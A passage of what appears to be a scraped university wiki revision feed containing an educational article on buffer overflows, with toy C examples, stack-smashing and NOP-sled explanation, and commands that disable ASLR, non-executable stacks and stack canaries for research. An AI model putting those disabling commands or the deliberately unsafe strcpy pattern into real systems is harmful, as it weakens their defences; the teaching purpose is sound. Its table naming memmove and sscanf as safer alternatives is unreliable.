The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16986</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16986"/>
		<updated>2024-12-11T16:47:18Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* IoT: Constrained Devices (TODO) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
keywords: {Registers;Buffer overflows;Embedded systems;Internet of Things;Thumb;Instruction sets;Internet of Things;Operating Systems;Embedded systems;Security;Buffer Overflows;FreeRTOS;ARM},&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br 